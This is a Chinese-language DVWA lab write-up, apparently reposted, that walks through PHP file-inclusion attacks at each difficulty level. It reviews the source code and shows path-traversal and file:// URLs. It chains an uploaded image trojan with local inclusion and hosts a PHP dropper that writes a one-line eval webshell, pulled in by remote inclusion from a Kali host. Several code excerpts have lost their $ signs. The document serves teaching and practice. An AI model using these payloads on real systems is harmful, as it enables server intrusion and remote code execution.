文件包含漏洞——DVWA靶场fileinclusion实验详解

⽂件包含漏洞——DVWA靶场fileinclusion实验详解
⽂章⽬录
⼀.⽂件包含漏洞
1.什么是⽂件包含?
程序开发⼈员通常会把可重复使⽤的函数写到单个⽂件中,在使⽤某些函数时,直接调⽤此⽂件,⽆需再次编写,这种调⽤⽂件的过程⼀般被称为⽂件包含。
2.⽂件包含漏洞的形成原因
随着⽹站业务的需求,程序开发⼈员⼀般希望代码更灵活,所以将被包含的⽂件设置为变量,⽤来进⾏动态调⽤,但是正是这种灵活性通过动态变 量的⽅式引⼊需要包含的⽂件时,⽤户对这个变量可控⽽且服务端⼜没有做合理的校验或者校验被绕过就造成了⽂件包含漏洞。
3.⽂件包含漏洞简介
File Inclusion,⽂件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些
特性函数(include(),require()和include_once(),require_once())利⽤url去动态包含⽂件,此时如果没有对⽂件来源进⾏严格审查,就会导致任意⽂件读取或者任意命令执⾏。
require():可以包含⽂件,如果包含错了,直接报错并退出程序的执⾏
include():在包含的过程中如果出现错误,会抛出⼀个警告,程序继续正常运⾏
require_once():与require类似,区别在于当重复调⽤同⼀⽂件时,程序只调⽤⼀次
include_once():与include类似,区别在于当重复调⽤同⼀⽂件时,程序只调⽤⼀次
4.⽂件包含漏洞类型
本地⽂件包含漏洞与远程⽂件包含漏洞
远程⽂件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含⼀个远程的⽂件)。
5.类似
伪协议、file、phpinput://
⼆.实验环境
靶场IP:127.0.0.1
远程服务器(kali)IP:192.168.126.129
环境配置:在dvwa⾥第⼀次测试训练时,会在File Inclusion这⾥看到“The PHP function allow_url_include is not enabled”这个的报错提醒,这个提⽰告诉我们PHP函数allow_url_include还未启⽤.
查看对应PHP版本号
打开对应PHP版本号中的php.ini⽂件
修改allow_url_include,将原来的off改为on,保存,并重新刷新界⾯
重新刷新界⾯
三.LOW
1.代码审计
直接使⽤get⽅式传参,可以直接对资源进⾏访问,没有任何拦截
File Inclusion Source
<?php
$file = $_GET['page']; //The page we wish to display
>
2.漏洞复现
(1)本地⽂件包含
依次点击这3个⽂件
可以看到URL中仅仅是page=后的参数发⽣变化
因此可以将page后的参数视为可控字段,以此进⾏实验
使⽤⼀个不存在的php⽂件进⾏测试
测试语句:
127.0.0.1/DVWA/vulnerabilities/fi/?page=test.php
可以发现还爆出了⽂件的路径
测试语句:
127.0.0.1/DVWA/vulnerabilities/fi/?page=../../php.ini
注:因为⽂件位于fi⽂件夹下,距离根⽬录还有2层,所以可以使⽤…/…/进⾏跨⽬录读取
成功回显
测试语句:
127.0.0.1/DVWA/vulnerabilities/fi/?page=../../phpinfo.php
这表明了⽂件包含不仅仅能读⽂件,还能执⾏⽂件,尝试从本地包含⽂件
先通过⽂件上传漏洞,传给他⼀个hack.jpg的图⽚⽊马,然后在使⽤⽂件包含解析他
⼀句话⽊马,当我们执⾏这句⽊马的时候,他就会创建⼀个shell.php的⽂件,⾥⾯就是⼀句话⽊马。
复制上传路径,重新回到⽂件包含
测试语句:
127.0.0.1/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/hack.jpg
程序没有报错,⽂件解析成功
为了验证结果,可以去靶机下的/vulnerabilities/fi进⾏查看,会发现增加了
shell.php⽂件
使⽤蚁剑进⾏连接
注:渗透思路
有时候当我们发现了⼀个本地的⽂件包含漏洞,但我们也仅仅只能去读取⼀些本地的⽂件,没有办法去进⾏更深层次的利⽤,然后⼜在这个⽹站上发现了⼀个⽂件上传漏洞,同时这个⽂件上传漏洞如果单个来看是⽐较鸡肋的,⽐如它做了限制,只能发送图⽚,⽽这个图⽚却没有做严格的限制,我们可以通过⼀些图⽚⽊马来绕过上传,⽽这两个漏洞结合⼀下的话,就能达到很⼤效果了 ⽐如我们上传了⼀个图⽚⽊马,没法单独去使⽤,但我们可以使⽤⽂件包含漏洞,去对这个⽂件进⾏包含,也就是说两个⽂件互相结合进⾏利⽤
(2)远程⽂件包含
搭建服务器
命令:
systemctl start apache2 开启服务
systemctl status apache2 检测状态
在kali本地⽹络⽂件下(/var/www/html)存放⽂件
内容:
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
测试语句:
127.0.0.1/DVWA/vulnerabilities/fi/?page=192.168.126.
没有报错,解析成功,验证shell.php是否解析成功
可以继续使⽤蚁剑进⾏连接,与上同,这⾥不做演⽰
四.Medim
1.代码审计
<?php
file=_GET[ 'page' ];
file=strreplace(array("",""),"",file );
file=strreplace(array("../","..\""),"",file );
>
2.漏洞复现
(1)本地包含漏洞
代码中只对远程包含添加了限制,故本地包含没有影响,做法与上同
(2)远程包含漏洞
在kali中新建⼀个⽂件 内容:111
测试语句:
127.0.0.1/DVWA/vulnerabilities/fi/?page=192.168.126.
scm文件⽹页报错,远程⽂件包含被php脚本阻⽌
测试语句:
127.0.0.1/DVWA/vulnerabilities/fi/?page=http://192.168.126.
⽂件正常访问,可以将⽂件替换成⽊马
五.High
1.代码审计
<?php
$file = $_GET['page']; //The page we wish to display
// Only allow include.php
if ( !(fnmatch( "file*", $file)) && $file != "include.php" ) {
echo "ERROR: File not found!";
exit;
}
>
指定了⽩名单,只允许特定的⽂件执⾏。还增加了fnmatch()函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的⽂件。
2.漏洞复现
⽩名单中有file*
因此可以使⽤file协议(⽂件传输协议),访问本地计算机中的⽊马/⽂件
测试语句:
127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///E:/PHP%20Study%20v8.1/PHPTutorial/WWW/DVWA/php.ini
正常回显,成功读取php.ini⽂件
⾄于执⾏任意命令,需要配合⽂件上传漏洞利⽤。⾸先需要上传⼀个内容为php的⽂件,然后再利⽤file协议去包含上传⽂件(需要知道上传⽂件的绝对路径),从⽽实现任意命令执⾏。
六.impossible
1.代码审计
<?php
// The page we wish to display
file=_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( file != "include.php" &&
file != "file1.php" && file != "file2.php" &&
file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
>
没得救
只允许四个⽂件可以访问,彻底杜绝了⽂件包含漏洞
参考⽂章
blog.csdn/qq_42357070/article/details/82115530?
biz_id=102&utm_term=dvwa%20%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E&ut m_medium=distribute.pc_-task-blog-2sobaiduweb~default-0-82115530&spm=1018.2118.3001.4187wwwblogs/Lee-404/p/12821986.html
blog.csdn/kirito_pio/article/details/106565478?
ops_request_misc=%257B%2522request%255Fid%2522%253A%2522160389285119725255529706%2522%252C%2522scm%2522%253A%252220140713.130102334…
%2522%257D&request_id=160389285119725255529706&biz_id=0&utm_medium=distribute.pc_ -task-blog-2first_rank_v2~rank_v28-1-
106565478.pc_first_rank_v2_rank_v28&utm_term=dvwa+%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E&spm=1018.2118.3001.4187
blog.csdn/Lonelyhat/article/details/90812545?
ops_request_misc=%257B%2522request%255Fid%2522%253A%2522160389285119725255529706%2522%252C%2522scm%2522%253A%252220140713.130102334…
%2522%257D&request_id=160389285119725255529706&biz_id=0&utm_medium=distribute.pc_ -task-blog-2first_rank_v2~rank_v28-2-
90812545.pc_first_rank_v2_rank_v28&utm_term=dvwa+%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%B C%8F%E6%B4%9E&spm=1018.2118.3001.4187
⽹络信息安全——ploto all all all

本文发布于:2024-09-22 11:19:32,感谢您对本站的认可!

本文链接:https://www.17tex.com/tex/4/381764.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:包含   漏洞   没有   上传   远程   参数   报错
留言与评论(共有 0 条评论)
   
验证码:
Copyright ©2019-2024 Comsenz Inc.Powered by © 易纺专利技术学习网 豫ICP备2022007602号 豫公网安备41160202000603 站长QQ:729038198 关于我们 投诉建议